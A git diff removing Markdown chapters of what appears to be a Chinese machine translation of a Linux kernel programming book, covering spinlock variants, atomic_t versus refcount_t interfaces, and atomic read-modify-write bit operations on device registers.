上的`read`方法完成关键部分,然后解锁旋转锁,从而解锁中断处理程序。但是在 **UP** ( **单处理器**,只有一个 CPU 内核)上呢?那么它将如何工作呢?啊,这就是这个难题的解决方案:当与中断“赛跑”时,*不管是单处理器还是 SMP,只需使用 spinlock API* 的 `_irq` *变体* *:* - -```sh -#include -void spin_lock_irq(spinlock_t *lock); -``` - -`spin_lock_irq()` API 在内部禁用它运行的处理器内核上的中断;也就是本地核心。因此,通过在我们的`read`方法中使用这个应用编程接口,中断将在本地内核上被禁用,从而使任何可能的“竞争”不可能通过中断实现。(如前所述,如果中断确实在另一个中央处理器内核上触发,自旋锁技术将简单地像广告宣传的那样工作!) - -The `spin_lock_irq()` implementation is pretty nested (as with most of the spinlock functionality), yet fast; down the line, it ends up invoking the `local_irq_disable()` and `preempt_disable()` macros, disabling both interrupts and kernel preemption on the local processor core that it's running on. (Disabling hardware interrupts has the (desirable) side effect of disabling kernel preemption as well.) - -`spin_lock_irq()`与相应的`spin_unlock_irq()`原料药配对。因此,这个场景中自旋锁的正确用法(与我们之前看到的相反)如下: - -```sh -// Driver read method ; CORRECT ! driver_read(...) << time t0 >> -{ - [ ... ] - spin_lock_irq(&slock); - <<--- time t1 : start of critical section >> -*[now all interrupts + preemption on local CPU core are masked (disabled)]* -... << operating on global data object gCtx >> ... - spin_unlock_irq(&slock); - <<--- time t2 : end of critical section >> - [ ... ] -} << time t3 >> -``` - -在拍拍自己的背,休息一天之前,让我们考虑另一种情况。这一次,在一个更复杂的产品(或项目)上,很有可能在几个开发代码库的开发人员中,有人故意将中断掩码设置为某个值,从而在允许其他中断的同时阻止了一些中断。为了我们的例子,让我们假设这已经在更早的时间点`t0`发生了。现在,正如我们之前描述的,另一个开发人员(你!)出现,并且为了保护驱动程序读取方法内的关键部分,使用了`spin_lock_irq()` API。听起来没错,对吧?是的,但是这个应用编程接口有能力*关闭(屏蔽)本地中央处理器内核上的所有硬件中断*(以及内核抢占,我们现在将忽略)。它通过在较低的级别上操作(非常特殊的)硬件中断屏蔽寄存器来实现这一点。假设将对应于中断的位设置为`1`将启用该中断,而将该位清零(至`0`)将禁用或屏蔽该中断。因此,我们可能会出现以下情况: - -* 时间`t0`:中断屏蔽设置为某个值,比如`0x8e (10001110b)`,启用一些中断,禁用一些中断。这对项目很重要(这里,为了简单起见,我们假设有一个 8 位屏蔽寄存器) - *[...时间流逝...].* -* 时间`t1`:就在进入驾驶员`read`法的关键路段之前,呼叫 - `spin_lock_irq(&slock);`。该 API 将具有清除注册到`0`的中断掩码中所有位的内部效果,从而禁用所有中断(正如我们*所认为的*所希望的那样)。 -* 时间`t2`:现在,硬件中断无法在这个 CPU 核心上触发,所以我们继续完成关键部分。一旦完成,我们称之为`spin_unlock_irq(&slock);`。该应用编程接口的内部作用是将中断屏蔽寄存器中的所有位设置为`1`,重新启用所有中断。 - -然而,中断屏蔽寄存器现在已经被错误地“恢复”到一个值`0xff (11111111b)`,*而不是最初的开发者想要的、要求的和假设的值*!这可以(也可能会)打破项目中的某些东西。 - -解决方法很简单:不要假设任何事情,**只需保存并恢复中断屏蔽**。这可以通过以下应用编程接口对来实现: - -```sh -#include > - unsigned long spin_lock_irqsave(spinlock_t *lock, unsigned long flags); - void spin_unlock_irqrestore(spinlock_t *lock, unsigned long flags); -``` - -锁定和解锁函数的第一个参数是要使用的 spinlock 变量。第二个参数`flags`、*必须是`unsigned long`类型的局部变量*。这将用于保存和恢复中断屏蔽: - -```sh -spinlock_t slock; -spin_lock_init(&slock); -[ ... ] -driver_read(...) -{ - [ ... ] - spin_lock_irqsave(&slock, flags); - << ... critical section ... >> - spin_unlock_irqrestore(&slock, flags); - [ ... ] -} -``` - -To be pedantic, `spin_lock_irqsave()` is not an API, but a macro; we've shown it as an API for readability. Also, although the return value of this macro is not void, it's an internal detail (the `flags` parameter variable is updated here). - -如果一个小任务或者一个 softirq(一个下半部分的中断机制)有一个与你的进程上下文代码路径“竞争”的关键部分呢?在这种情况下,可能需要使用`spin_lock_bh()`例程,因为它可以禁用本地处理器的下半部分,然后获取自旋锁,从而保护关键部分(类似于`spin_lock_irq[save]()`通过禁用本地内核上的硬件中断来保护进程上下文中的关键部分的方式): - -```sh -void spin_lock_bh(spinlock_t *lock); -``` - -当然,*开销*在对性能高度敏感的代码路径中确实很重要(网络堆栈就是一个很好的例子)。因此,使用最简单形式的自旋锁将有助于更复杂的变体。话虽如此,但肯定会有一些场合需要使用更强形式的 spinlock API。例如,在 5.4.0 Linux 内核上,这是我们看到的不同形式的 spinlock APIs 的使用实例数量的近似值:`spin_lock()`:超过 9400 个使用实例;`spin_lock_irq()`:超过 3600 个使用实例;`spin_lock_irqsave()`:超过 15,000 个使用实例;`spin_lock_bh()`:超过 3700 个使用实例。(我们不由此得出任何重大推论;只是我们希望指出,使用更强形式的 spinlock APIs 在 Linux 内核中相当普遍)。 - -最后,让我们对 spinlock 的内部实现做一个非常简短的说明:就幕后内部而言,实现往往是非常特殊的代码,通常由在微处理器上执行非常快的原子机器语言指令组成。例如,在流行的 x86[_64]架构上,自旋锁最终归结为自旋锁结构成员上的*原子测试和设置*机器指令(通常通过`cmpxchg`机器语言指令实现)。在 ARM 机器上,正如我们前面提到的,通常是`wfe`(等待事件,以及**设置事件** ( **SEV** )机器指令处于实现的核心。(您可以在*进一步阅读*部分找到关于其内部实现的资源)。无论如何,作为内核或驱动程序作者,在使用自旋锁时,您应该只使用公开的 API(和宏)。 - -## 使用自旋锁–快速总结 - -让我们快速总结一下自旋锁: - -* **最简单,开销最低**:在保护进程上下文中的关键部分时,使用非 irq 自旋锁原语,`spin_lock()` / `spin_unlock()`(要么没有中断需要处理,要么有中断,但我们根本不与它们竞争;实际上,当中断不起作用或无关紧要时使用这个)。 -* **中等开销**:使用 IRQ-disable(以及内核抢占禁用)版本`spin_lock_irq() / spin_unlock_irq()`,当中断正在进行并且确实重要时(进程和中断上下文可以“竞争”;也就是说,它们共享全局数据)。 -* **最强(相对),高开销**:这是使用自旋锁最安全的方式。除了通过`spin_lock_irqsave()` / `spin_unlock_irqrestore()`对中断掩码执行保存和恢复之外,它与介质开销相同,以保证先前的中断掩码设置不会被无意中覆盖,这在先前的情况下是可能发生的。 - -正如我们之前看到的,自旋锁——在等待锁时在其上运行的处理器上“旋转”的意义——在 UP 上是不可能的(当另一个线程同时在同一个 CPU 上运行时,如何在一个可用的 CPU 上旋转?).事实上,在 UP 系统上,spinlock APIs 唯一真正的效果是它可以在处理器上禁用硬件中断和内核抢占!然而,在 SMP(多核)系统上,旋转逻辑实际上发挥了作用,因此锁定语义按预期工作。但是坚持住——这不应该给你压力,萌芽中的内核/驱动开发者;事实上,关键是您应该简单地使用所描述的 spinlock APIs,您将永远不必担心 UP 与 SMP 的对比;做什么和不做什么的细节都被内部实现所隐藏。 - -Though this book is based on the 5.4 LTS kernel, a new feature was added to the 5.8 kernel from the **Real-Time Linux** (**RTL**, previously called PREEMPT_RT) project, which deserves a quick mention here: "**local locks**". While the main use case for local locks is for (hard) real-time kernels, they help with non-real-time kernels too, mainly for lock debugging via static analysis, as well as runtime debugging via lockdep (we cover lockdep in the next chapter). Here's the LWN article on the subject: [https://lwn.net/Articles/828477/](https://lwn.net/Articles/828477/). - -至此,我们完成了关于自旋锁的部分,自旋锁是 Linux 内核中非常常见的密钥锁,几乎所有子系统都使用它,包括驱动程序。 - -# 摘要 - -祝贺你完成这一章! - -理解并发性及其相关问题对于任何软件专业人员来说都是至关重要的。在这一章中,您学习了关于关键部分的关键概念,在这些部分中独占执行的需要,以及原子性的含义。然后,您了解了*为什么*我们在为 Linux 操作系统编写代码时需要关注并发性。之后,我们详细研究了实际的锁定技术——互斥锁和自旋锁。你也学会了什么时候应该用什么锁。最后,学习了当硬件中断(及其可能的下半部分)发生时如何处理并发问题。 - -但是我们还没有完成!我们需要了解更多的概念和技术,这正是我们在本书下一章,也是最后一章将要做的。我建议你先浏览一下这一章的内容,以及*进一步阅读*部分的资源和提供的练习,然后再进入最后一章! - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。** \ No newline at end of file diff --git a/docs/linux-kernel-prog-pt2/7.md b/docs/linux-kernel-prog-pt2/7.md deleted file mode 100644 index 1026a451..00000000 --- a/docs/linux-kernel-prog-pt2/7.md +++ /dev/null @@ -1,1314 +0,0 @@ -# 七、内核同步——第二部分 - -本章继续上一章的讨论,主题是内核同步和处理内核中的并发性。我建议,如果你还没有,先读上一章,然后继续读这一章。 - -在这里,我们将继续学习关于内核同步和在内核空间中处理并发性的广泛主题。和以前一样,该材料面向内核和/或设备驱动程序开发人员。在本章中,我们将涵盖以下内容: - -* 使用 atomic_t 和 refcount_t 接口 -* 使用 RMW 原子算符 -* 使用读取器-写入器自旋锁 -* 缓存效应和虚假共享 -* 每 CPU 变量的无锁编程 -* 锁定内核内的调试 -* 记忆障碍-简介 - -# 使用 atomic_t 和 refcount_t 接口 - -在我们简单的演示杂项字符设备驱动程序的(`miscdrv_rdwr/miscdrv_rdwr.c` ) `open`方法(以及其他地方)中,我们定义并操作了两个静态全局整数,`ga`和`gb`: - -```sh -static int ga, gb = 1; -[...] -ga++; gb--; -``` - -到目前为止,对您来说应该很明显的是,这个——我们对这些整数进行操作的地方——如果保持原样,是一个潜在的错误:它是共享的可写数据(处于共享状态),因此*是一个关键部分,因此需要针对* *并发访问*进行保护。你懂的。所以,我们逐步改进了这一点。在前一章,了解了这个问题,在我们的`ch12/1_miscdrv_rdwr_mutexlock/1_miscdrv_rdwr_mutexlock.c`程序中,我们首先使用了一个*互斥锁*来保护临界区。后来,您了解到,使用*自旋锁*来保护像这样的非阻塞关键部分在性能上(远远)优于使用互斥锁;因此,在下一个驱动程序`ch12/2_miscdrv_rdwr_spinlock/2_miscdrv_rdwr_spinlock.c`中,我们使用了自旋锁来代替: - -```sh -spin_lock(&lock1); -ga++; gb--; -spin_unlock(&lock1); -``` - -很好,但是我们还可以做得更好!对全局整数进行操作在内核中非常常见(想想引用或资源计数器的递增和递减等等),以至于内核提供了一类称为 **refcount** 和**原子整数运算符**或接口的运算符;这些都是非常特别的设计,以原子(安全和不可分割的)操作**只有整数**。 - -## 较新的 refcount_t 与较旧的 atomic_t 接口相比 - -在这个主题区域的开始,重要的是要提到这一点:从 4.11 内核开始,有一组更新更好的接口被命名为`refcount_t`API,用于内核空间对象的引用计数器。它极大地改善了内核的安全态势(通过改进了很多的**整数溢出** ( **IoF** )和**免费使用后** ( **UAF** )保护以及内存排序保证,这些都是旧的`atomic_t`API 所缺乏的)。像 Linux 上使用的其他几项安全技术一样,`refcount_t`接口起源于 PaX 团队的工作——https://pax.grsecurity.net/[(它被称为`PAX_REFCOUNT`)。](https://pax.grsecurity.net/) - -话虽如此,现实情况是(在撰写本文时)旧的`atomic_t`接口仍然在内核和驱动程序中大量使用(它们正在慢慢转换,旧的`atomic_t`接口正在转移到新的`refcount_t`模型和 API 集)。因此,在本主题中,我们将两者都包括在内,指出不同之处,并在适用的情况下提及哪个`refcount_t`应用编程接口取代了`atomic_t`应用编程接口。将`refcount_t`接口视为(较旧的)`atomic_t`接口的变体,该接口专门用于引用计数。 - -`atomic_t`操作符和`refcount_t`操作符之间的一个关键区别在于,前者对有符号整数起作用,而后者本质上被设计成只对一个`unsigned int`量起作用;更具体地说,这一点很重要,它只在严格规定的范围内起作用:`1`到 **`UINT_MAX-1`** (或`[1..INT_MAX]`当`!CONFIG_REFCOUNT_FULL`)。内核有一个名为`CONFIG_REFCOUNT_FULL`的配置选项;如果设置,它将执行(更慢和更彻底的)“完全”引用计数验证。这有利于安全性,但可能会导致性能略微下降(典型的默认值是保持此配置关闭;我们的 x86_64 Ubuntu 来宾就是这种情况)。 - -试图将`refcount_t`变量设置为`0`或负值,或设置为`[U]INT_MAX`或以上,是不可能的;这有利于防止整数下溢/溢出问题,从而在许多情况下防止自由使用类错误!(嗯,也不是不可能;这会导致通过`WARN()`宏发出(嘈杂的)警告。)想一想,`refcount_t`变量的本意是*只用于内核对象引用计数,没有别的*。 - -由此可见,这确实是需要的行为;引用计数器必须从正值开始(当对象新实例化时通常为`1`),每当代码获取或接受引用时递增(或相加),每当代码在对象上放置或离开引用时递减(或相减)。您需要小心操作引用计数器(匹配您的获取和放置),始终将其值保持在合法范围内。 - -非常不直观的是,至少对于通用的独立于 arch 的 refcount 实现来说,`refcount_t`API 是通过`atomic_t` API 集在内部实现的。例如,`refcount_set()`应用编程接口——自动将 refcount 的值设置为传递的参数——在内核中是这样实现的: - -```sh -// include/linux/refcount.h -/** - * refcount_set - set a refcount's value - * @r: the refcount - * @n: value to which the refcount will be set - */ -static inline void refcount_set(refcount_t *r, unsigned int n) -{ - atomic_set(&r->refs, n); -} -``` - -这是一个薄薄的包装纸(我们将很快介绍)。这里显而易见的常见问题是:为什么要使用 refcount API?有几个原因: - -* 计数器在`REFCOUNT_SATURATED`值饱和(默认设置为`UINT_MAX`),并且一旦达到该值就不会移动。这一点至关重要:它避免了包装计数器,这可能会导致奇怪和虚假的 UAF 错误;这甚至被认为是一个关键的安全修复。 -* 一些较新的 refcount APIs 确实提供了**内存排序**保证;特别是`refcount_t`API——与它们更老的`atomic_t`表亲相比——以及它们提供的内存排序保证在[https://www . kernel . org/doc/html/latest/core-API/refcount-vs-atomic . html # refcount-t-API-与 atomic-t 相比](https://www.kernel.org/doc/html/latest/core-api/refcount-vs-atomic.html#refcount-t-api-compared-to-atomic-t)中有明确的记录(如果您对低级别的细节感兴趣,请查看)。 -* 此外,实现依赖于 arch 的 refcount 实现(当它们存在时;例如,x86 确实有,而 ARM 没有)可以不同于前面提到的通用版本。 - -What exactly is *memory ordering* and how does it affect us? The fact is, it's a complex topic and, unfortunately, the inner details on this are beyond the scope of this book. It's worth knowing the basics: I suggest you read up on the **Linux-Kernel Memory Model** (**LKMM**), which includes coverage on processor memory ordering and more. We refer you to good documentation on this here: *Explanation of the Linux-Kernel Memory Model* ([https://github.com/torvalds/linux/blob/master/tools/memory-model/Documentation/explanation.txt](https://github.com/torvalds/linux/blob/master/tools/memory-model/Documentation/explanation.txt)). - -## 更简单的原子 t 和 ref count t 接口 - -关于`atomic_t`接口,我们应该提到以下所有`atomic_t`构造仅用于 32 位整数;当然,随着 64 位整数现在变得普遍,64 位原子整数运算符也是可用的。通常,它们在语义上与 32 位的对应项相同,不同之处在于名称(`atomic_foo()`变成了`atomic64_foo()`)。所以 64 位原子整数的主要数据类型叫做`atomic64_t`(又名`atomic_long_t`)。另一方面,`refcount_t`接口同时满足 32 位和 64 位整数。 - -下表显示了如何并排声明和初始化`atomic_t`和`refcount_t`变量,以便您可以比较和对比它们: - -| | **(旧)原子 _t(仅 32 位)** | **(较新)refcount _ t(32 位和 64 位)** | -| 要包含的头文件 | `` | `` | -| 声明并初始化变量 | `static atomic_t gb = ATOMIC_INIT(1);` | `static refcount_t gb = REFCOUNT_INIT(1);` | - -Table 17.1 – The older atomic_t versus the newer refcount_t interfaces for reference counting: header and init - -内核中所有可用的`atomic_t`和`refcount_t`API 的完整集合相当大;为了使本节内容简单明了,我们仅在下表中列出一些更常用的(原子 32 位)和`refcount_t`接口(它们对通用`atomic_t`或`refcount_t`变量`v`进行操作): - -| **操作** | **(旧)原子 _t 界面** | **(较新)refcount_t 接口[范围:0 至[U]INT_MAX]** | -| 要包含的头文件 | `` | `` | -| 声明并初始化变量 | `static atomic_t v = ATOMIC_INIT(1);` | `static refcount_t v = REFCOUNT_INIT(1);` | -| 自动读取`v`的当前值 | `int atomic_read(atomic_t *v)` | `unsigned int refcount_read(const refcount_t *v)` | -| 自动将`v`设置为数值`i` | `void atomic_set(atomic_t *v, i)` | `void refcount_set(refcount_t *v, int i)` | -| 自动将`v`值增加`1` - | `void atomic_inc(atomic_t *v)` | `void refcount_inc(refcount_t *v)` | -| 将`v`值自动递减`1` - | `void atomic_dec(atomic_t *v)` | `void refcount_dec(refcount_t *v)` | -| 自动将`i`的值加到`v`上 | `void atomic_add(i, atomic_t *v)` | `void refcount_add(int i, refcount_t *v)` | -| 从`v`中自动减去`i`的值 | `void atomic_sub(i, atomic_t *v)` | `void refcount_sub(int i, refcount_t *v)` | -| 自动将`i`的值加到`v`上并返回结果 | `int atomic_add_return(i, atomic_t *v)` | `bool refcount_add_not_zero(int i, refcount_t *v)`(不是精确匹配;将`i`添加到`v`,除非是`0`。) | -| 从`v`中自动减去`i`的值并返回结果 | `int atomic_sub_return(i, atomic_t *v)` | `bool refcount_sub_and_test(int i, refcount_t *r)`(不是精确匹配;从`v`中减去`i`并测试;如果结果重新计数为`0`,则返回`true`,否则返回`false`。) | - -Table 17.2 – The older atomic_t versus the newer refcount_t interfaces for reference counting: APIs - -您现在已经看到了几个`atomic_t`和`refcount_t`宏和 APIs 让我们快速查看几个在内核中使用它们的例子。 - -### 在内核代码库中使用 refcount_t 的示例 - -在我们关于内核线程的一个演示内核模块中(在`ch15/kthread_simple/kthread_simple.c`中),我们创建了一个内核线程,然后使用`get_task_struct()`内联函数将内核线程的任务结构标记为正在使用。正如您现在可以猜到的那样,`get_task_struct()`例程通过`refcount_inc()` API 递增任务结构的引用计数器——一个名为`usage`的`refcount_t`变量: - -```sh -// include/linux/sched/task.h -static inline struct task_struct *get_task_struct(struct task_struct *t) -{ - refcount_inc(&t->usage); - return t; -} -``` - -相反的例程`put_task_struct()`对参考计数器执行后续递减。其内部使用的实际例程`refcount_dec_and_test()`测试新的 refcount 值是否已降至`0`;如果是,则返回`true`,如果是这种情况,则表示任务结构没有被任何人引用。`__put_task_struct()`的召唤解放了它: - -```sh -static inline void put_task_struct(struct task_struct *t) -{ - if (refcount_dec_and_test(&t->usage)) - __put_task_struct(t); -} -``` - -内核中使用的重新计数 API 的另一个例子在`kernel/user.c`中找到(它有助于跟踪用户通过每用户结构声明的进程、文件等的数量): - -![](img/52aff2e3-0b4e-4e2c-a5ff-a71048b50e91.png) - -Figure 7.1 – Screenshot showing the usage of the refcount_t interfaces in kernel/user.c Look up the `refcount_t` API interface documentation ([https://www.kernel.org/doc/html/latest/driver-api/basics.html#reference-counting](https://www.kernel.org/doc/html/latest/driver-api/basics.html#reference-counting)); `refcount_dec_and_lock_irqsave()` returns `true` and withholds the spinlock with interrupts disabled if able to decrement the reference counter to `0`, and `false` otherwise. - -作为对您的练习,将我们早期的`ch16/2_miscdrv_rdwr_spinlock/miscdrv_rdwr_spinlock.c`驱动程序代码转换为使用 refcount 它具有整数`ga`和`gb`,当被读取或写入时,它们通过自旋锁受到保护。现在,让它们重新计数变量,并在处理它们时使用适当的`refcount_t`API。 - -小心点!不允许他们的值超出允许范围,`[0..[U]INT_MAX]`!(回想一下,完全重新计数验证的范围是`[1..UINT_MAX-1]`(`CONFIG_REFCOUNT_FULL`开启)和不完全验证时的`[1..INT_MAX]`(默认))。这样做通常会导致调用`WARN()`宏(图 7.1*中的演示代码不包含在我们的 GitHub 存储库中):* - -![](img/24843ce0-e46c-41a2-bf1d-8c467aea70a3.png) - -Figure 7.2 – (Partial) screenshot showing the WARN() macro firing when we wrongly attempt to set a refcount_t variable to <= 0 The kernel has an interesting and useful test infrastructure called the **Linux Kernel Dump Test Module** (**LKDTM**); see `drivers/misc/lkdtm/refcount.c` for many test cases being run on the refcount interfaces, which you can learn from... FYI, you can also use LKDTM via the kernel's fault injection framework to test and evaluate the kernel's reaction to faulty scenarios (see the documentation here: *Provoking crashes with Linux Kernel Dump Test Module (LKDTM)* – [https://www.kernel.org/doc/html/latest/fault-injection/provoke-crashes.html#provoking-crashes-with-linux-kernel-dump-test-module-lkdtm](https://www.kernel.org/doc/html/latest/fault-injection/provoke-crashes.html#provoking-crashes-with-linux-kernel-dump-test-module-lkdtm)). - -到目前为止涵盖的原子接口都是在 32 位整数上运行的;在 64 位上呢?接下来就是这样。 - -## 64 位原子整数运算符 - -如本主题开头所述,我们到目前为止所处理的`atomic_t`整数运算符集合都是在传统的 32 位整数上运行的(这个讨论不适用于较新的`refcount_t`接口;无论如何,它们对 32 位和 64 位的量都起作用)。显然,随着 64 位系统成为现在的常态而不是例外,内核社区为 64 位整数提供了一组相同的原子整数运算符。区别如下: - -* 将 64 位原子整数声明为类型为`atomic64_t`(即`atomic_long_t`)的变量。 -* 对于所有操作员,使用`atomic64_`前缀代替`atomic_`前缀。 - -举以下例子: - -* 用`ATOMIC64_INIT()`代替`ATOMIC_INIT()`。 -* 用`atomic64_read()`代替`atomic_read()`。 -* 用`atomic64_dec_if_positive()`代替`atomic64_dec_if_positive()`。 - -Recent C and C++ language standards – C11 and C++11 – provide an atomic operations library that helps developers implement atomicity in an easier fashion due to the implicit language support; we won't delve into this aspect here. A reference can be found here (C11 also has pretty much the same equivalents): [https://en.cppreference.com/w/c/atomic](https://en.cppreference.com/w/c/atomic). - -请注意,所有这些例程——32 位和 64 位原子`_operators`——都是**独立的**。值得重复的一个要点是,对原子整数执行的任何和所有操作都必须通过将变量声明为`atomic_t`并通过提供的方法来完成。这包括初始化,甚至是(整数)读取操作。 - -就内部实现而言,`foo()`原子整数运算符通常是一个宏,它会变成一个内联函数,而内联函数又会调用特定于 arch 的`arch_foo()`函数。像往常一样,浏览关于原子操作符的官方内核文档总是一个好主意(在内核源代码树中,它在这里:`Documentation/atomic_t.txt`;前往[https://www.kernel.org/doc/Documentation/atomic_t.txt](https://www.kernel.org/doc/Documentation/atomic_t.txt)。它将众多的原子整数 API 巧妙地归类到不同的集合中。仅供参考,arch 特有的*内存排序问题*确实会影响内部实现。在这里,我们将不深究其内部。如果感兴趣,请参考[官方内核文档网站上的本页,网址为 https://www . kernel . org/doc/html/v 4 . 16/core-API/ref count-vs-atomic . html # ref count-t-API-对比 atomic-t](https://www.kernel.org/doc/html/v4.16/core-api/refcount-vs-atomic.html#refcount-t-api-compared-to-atomic-t) (另外,内存排序的细节超出了本书的范围;查看[的内核文档。](https://www.kernel.org/doc/Documentation/memory-barriers.txt) - -我们还没有尝试在这里展示所有的原子和 refcount APIs(这真的没有必要);官方内核文档介绍了它: - -* `atomic_t`界面: - * S *原子和位掩码操作的语义和行为*([https://www . kernel . org/doc/html/v 5 . 4/core-API/Atomic _ ops . html #原子和位掩码操作的语义和行为](https://www.kernel.org/doc/html/v5.4/core-api/atomic_ops.html#semantics-and-behavior-of-atomic-and-bitmask-operations)) - * API ref:Atomics([https://www . kernel . org/doc/html/latest/driver-API/basic . html # Atomics](https://www.kernel.org/doc/html/latest/driver-api/basics.html#atomics)) - -* (较新)`refcount_t`内核对象引用计数接口: - * `refcount_t` API 对比`atomic_t`([https://www . kernel . org/doc/html/latest/core-API/refcount-vs-atomic . html # refcount-t-API-对比 atomic-t](https://www.kernel.org/doc/html/latest/core-api/refcount-vs-atomic.html#refcount-t-api-compared-to-atomic-t) ) - * API 引用:引用计数([https://www . kernel . org/doc/html/latest/driver-API/basic . html #引用-计数](https://www.kernel.org/doc/html/latest/driver-api/basics.html#reference-counting)) - -让我们继续讨论在处理驱动程序时典型构造的用法–**读取修改写入** ( **RMW** )。继续读! - -# 使用 RMW 原子算符 - -还有一组更高级的原子操作符叫做 RMW API。它的许多用途(我们将在下一节中列出)包括对位执行原子 RMW 操作,换句话说,原子地(安全地、不可分割地)执行位操作。作为在设备或外设上操作的设备驱动程序作者*注册*,这确实是你会发现自己正在使用的东西。 - -The material in this section assumes you have at least a basic understanding of accessing peripheral device (chip) memory and registers; we have covered this in detail in [Chapter 3](3.html), *Working with Hardware I/O Memory*. Please ensure you understand it before moving further. - -通常,您需要对寄存器执行位操作(按位`AND &`和按位`OR |`是最常见的运算符);这样做是为了修改其值,设置和/或清除其中的一些位。问题是,仅仅执行一些 C 操作来查询或设置设备寄存器是不够的。不,先生:不要忘记并发问题!请继续阅读完整的故事。 - -## RMW 原子操作–在设备寄存器上操作 - -让我们先快速复习一些基础知识:一个字节由 8 位组成,编号从位`0`、**最低有效位** ( **LSB** )到位`7`、**最高有效位** ( **MSB** )。(这实际上被正式定义为`include/linux/bits.h`中的`BITS_PER_BYTE`宏,还有一些其他有趣的定义。) - -一个**寄存器**基本上是外围设备内的一小块内存;通常,其大小(寄存器位宽)为 8、16 或 32 位之一。器件寄存器提供控制、状态和其他信息,通常是可编程的。事实上,这很大程度上是您作为驱动程序作者将要做的事情——对设备寄存器进行适当的编程,让设备做一些事情,并对其进行查询。 - -为了充实这一讨论,让我们考虑一个假设的器件,它有两个寄存器:一个状态寄存器和一个控制寄存器,每个 8 位宽。(在现实世界中,每个设备或芯片都有一个*数据表*,它将提供芯片和寄存器级硬件的详细规格;这成为驱动程序作者的必要文档)。硬件人员通常以这样一种方式设计设备,即几个寄存器按顺序组合在一块更大的内存中;这叫做注册银行业务。通过获得第一个寄存器的基址和后面每个寄存器的偏移量,可以很容易地寻址任何给定的寄存器(这里,我们不会深入研究寄存器是如何“映射”到 Linux 等操作系统上的虚拟地址空间的)。例如,(纯粹假设的)寄存器可以在头文件中这样描述: - -```sh -#define REG_BASE 0x5a00 -#define STATUS_REG (REG_BASE+0x0) -#define CTRL_REG (REG_BASE+0x1) -``` - -现在,假设为了打开我们虚构的设备,数据表通知我们可以通过将控制寄存器的位`7`(MSB)设置为`1`来实现。每个驱动程序作者都会很快了解到,修改寄存器有一个神圣的顺序: - -1. **将**寄存器的当前值读入临时变量。 -2. **将**变量修改为所需值。 -3. **将**变量写回寄存器。 - -这就是常说的**RMW**T2 序列;太好了,我们这样写(伪)代码: - -```sh -turn_on_dev() -{ - u8 tmp; - - tmp = ioread8(CTRL_REG); /* read: current register value into tmp */ - tmp |= 0x80; /* modify: set bit 7 (MSB) */ - iowrite8(tmp, CTRL_REG); /* write: new tmp value into register */ -} -``` - -(仅供参考,Linux**MMIO**–**内存映射 I/O**–上使用的实际例程是`ioread[8|16|32]()`和`iowrite[8|16|32]()`。) - -这里有一个重点:*这还不够好*;原因是**并发,数据赛跑!**想一想:一个寄存器(包括 CPU 和设备寄存器)其实就是一个*全局共享可写内存位置*;因此,访问它*构成了一个关键部分*,你必须小心防止并发访问!该有多容易;我们可以使用自旋锁(至少目前是这样)。修改前面的伪代码以在关键部分——RMW 序列中插入`spin_[un]lock()`API 是微不足道的。 - -然而,在处理整数等小数量时,有一种更好的方法来实现数据安全;我们已经介绍过了:*原子操作符*!然而,Linux 更进一步,为以下两者提供了一组原子 API: - -* **原子非 RMW 操作**(我们之前在*中看到的使用原子 _t 和 refcount_t 接口*的操作) -* **原子 RMW 作战**;这些操作符包括几种类型的操作符,可以分为几个不同的类别:算术、按位、交换(交换)、引用计数、杂项和障碍 - -我们不要重新发明轮子;内核文档([https://www.kernel.org/doc/Documentation/atomic_t.txt](https://www.kernel.org/doc/Documentation/atomic_t.txt))包含了所有需要的信息。我们将直接引用`Documentation/atomic_t.txt`内核代码库,只显示本文的相关部分如下: - -```sh -// Documentation/atomic_t.txt -[ ... ] -Non-RMW ops: - atomic_read(), atomic_set() - atomic_read_acquire(), atomic_set_release() - -RMW atomic operations: - -Arithmetic: - atomic_{add,sub,inc,dec}() - atomic_{add,sub,inc,dec}_return{,_relaxed,_acquire,_release}() - atomic_fetch_{add,sub,inc,dec}{,_relaxed,_acquire,_release}() - -Bitwise: - atomic_{and,or,xor,andnot}() - atomic_fetch_{and,or,xor,andnot}{,_relaxed,_acquire,_release}() - -Swap: - atomic_xchg{,_relaxed,_acquire,_release}() - atomic_cmpxchg{,_relaxed,_acquire,_release}() - atomic_try_cmpxchg{,_relaxed,_acquire,_release}() - -Reference count (but please see refcount_t): - atomic_add_unless(), atomic_inc_not_zero() - atomic_sub_and_test(), atomic_dec_and_test() - -Misc: - atomic_inc_and_test(), atomic_add_negative() - atomic_dec_unless_positive(), atomic_inc_unless_negative() -[ ... ] -``` - -好;现在,您已经了解了这些 RMW(和非 RMW)运算符,让我们开始实际操作——接下来,我们将了解如何使用 RMW 运算符进行位操作。 - -### 使用 RMW 逐位运算符 - -这里,我们将重点关注使用 RMW 按位运算符;我们将让您来探索其他的(参考提到的内核文档)。因此,让我们再次思考如何更有效地编码我们的伪代码示例。我们可以使用`set_bit()`应用编程接口设置(至`1`)任何寄存器或存储器项目中的任何给定位: - -```sh -void set_bit(unsigned int nr, volatile unsigned long *p); -``` - -这自动地——安全地和不可分割地——将`p`的第`nr`位设置为`1`。(实际情况是,设备寄存器(可能还有设备内存)被映射到内核虚拟地址空间,因此看起来就像是内存位置一样可见——比如这里的地址`p`。这被称为 MMIO,是驱动程序作者映射和使用设备内存的常用方式。) - -因此,有了 RMW 原子操作符,我们可以用一行代码安全地实现我们之前(错误地)尝试的目标——打开我们(虚构的)设备: - -```sh -set_bit(7, CTRL_REG); -``` - -下表总结了常见的 RMW 逐位原子 API: - -| **RMW 逐位原子 API** | comment | -| `void set_bit(unsigned int nr, volatile unsigned long *p);` | 自动设置(设置为`1`)T2 的第`nr`位。 | -| `void clear_bit(unsigned int nr, volatile unsigned long *p)` | 自动清除(设置为`0`)第`nr`位的`p`。 | -| `void change_bit(unsigned 